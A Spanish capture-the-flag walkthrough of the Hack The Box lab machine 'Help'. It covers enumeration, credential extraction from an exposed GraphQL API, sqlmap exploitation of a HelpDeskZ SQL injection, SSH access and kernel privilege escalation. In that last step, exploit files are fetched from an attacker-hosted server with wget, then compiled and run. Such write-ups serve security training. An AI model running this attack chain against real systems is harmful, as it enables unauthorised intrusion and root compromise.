Introducción
Help es una máquina fácil que podemos encontrar en la platafomra de HTB. Para obtener acceso inicial, enumeramos un GraphQL para conseguir credenciales de una instancia de HelpDeskZ, utilizando esas credenciales para explotar una vulnerabilidad de SQLi autenticada y extraer la base de datos. La escalada de privilegios hasta root se lograba mediante exploits del kernel.
Enumeración
Enumeración de puertos
Comenzamos realizando una enumeración rápida de los servicios disponibles en la máquina Help.
nmap -p- --min-rate 2500 --open -Pn -n 10.10.10.121
Comprobamos que los puertos 22,80 y 3000 están abiertos. El siguiente paso es la enumeración profunda de estos tres servicios.
nmap -p22,80,3000 --min-rate 2500 -sV -Pn -n 10.10.10.121
Servicios disponibles:
- 22 -> SSH ->OpenSSH 7.2
- 80 -> HTTP -> Apache httpd 2.4.18
- 3000 -> HTTP -> Node.js
Enumeración Web
Después de enumerar los servicios disponibles comprobamos la existencia de dos servicios Web. Vamos a enumerar su contenido.
Antes de comenzar la enumeración, vamos a registrar el dominio help.htb en eel archivo hosts de nuestra máquina de ataque.
Puerto 80
Vamos a realizar también una enumeración de directorios y archivos. Para ello, utilizamos la herramienta dirsearch.
dirsearch -u help.htb:80 -i 200,301
Encontramos el directorio /support
Puerto 3000
Después de realizar la enumeración de directorios y archivos en el puerto 80, vamos a realizar el mismo proceso sobre el puerto 3000.
Volvemos a realizar una enumeración de directorios y archivos existentes.
dirsearch -u help.htb:3000
En el puerto 3000 parece que se está ejecutando un servicio API “graphql”. Con la herramienta “graphw00f” vamos a verificar si esto es así.
Enlace descarga de la herramienta
python3 main.py -d -f -t http://help.htb:3000
El resultado confirma que existe un servicio de GraphQL en el puerto 3000.
Enumeración GraphQL
Una vez que hemos identificado el servicio GraphQL, el siguiente paso será enumerar la base de datos para tratar de encontrar ifnroamción útil. Para extraer información, vamos a utiizar la herramienta “GraphQLMap”
Enlace de descarga de la herramienta
graphqlmap -u http://help.htb:3000/graphql
Vamos a comenzar a realizar consultas a la base de datos.
Con GraphQL, enumeramos los esquemas y descubrimos dos campos interesante: username, password.
La consulta devuelve una lista de nombres de usuario y contraseñas. En concreto, encontramos una dirección de email y una password, cifrada en MD5.
Vamos a tratar de descifrar el hash de la password.
Explotación
Con las credenciales que hemos localizado, vamos a tratar de acceder al servicio que encontramos en el puerto 80.
Accedemos al panel de control de la aplicación. Vamos a buscar posibles vectores que nos permitan acceder al objetivo.
Encontramos una función para enviar archivos al servidor en un panel para crear tickets. Generamos un archivo de texto de pruebas.
Buscamos la lista de tickets cargamos y vemos el que hemos generado.
Si buscamos buscamos vulnerabilidades para este CMS.
Existe una posible vulnerabilidad de SQLi relacionada con la descarga de archivos.
Capturamos la petición de descarga del archivo con Burp Suite y copiamos la petición en un archivo txt.
Para tratar de buscar vulnerabilidades SQLi, vamos a utilziar SQLMap.
sqlmap -r descargaarchivo.txt --level 5 --risk 3 -p param[]
sqlmap -r descargaarchivo.txt --level 5 --risk 3 -p param[] --dump
Obtenemos un nombre de usuario (admin) y una contraseña (Welcome1). Con esta contraseña vamos a tratar de conectarnos al objetivo a través de SSH.
Probamos con diferentes nombres de usuario para iniciar sesión (root, admin, administrator, help) pero el único válido es “help”.
Dentro del directorio del usuario “help” encontramos la flag user.txt
Elevación de privilegios
Enumeración
Después de enumerar los diferentes vectores para elevación, detectamos una posible versión vulnerable en el kernel del sistema.
Esta versión de kernal presenta el CVE-2017-16995. Vamos a tratar de buscar exploits para esta versión.
Localizamos los siguientes exploits:
Vamos a comprobar si nos permiten elevar privilegios y como podemos hacerlo.
Explotación
Descargamos ambos archivos .c en nuestra máquina de ataque y por otro lado, comprobamos si en el objetivo existe el ejecutable “gcc” que nos va a permitir compilar los archivos.
gcc existe en el objetivo.
Transferimos ambos archivos al objetivo haciendo uso de un servidor HTTP Python.
python3 -m http.server
wget 10.10.16.14:8000/45010.c
wget 10.10.16.14:8000/44298.c
El siguiente paso después de transferir los archivos será compilar y ejecutar los nuevos exploits.
gcc -o nombre_explooit nombre_archivo_c
Tan solo quedará buscar la flag de usuario con elevados permisos para terminar la máquina Help.
No responses yet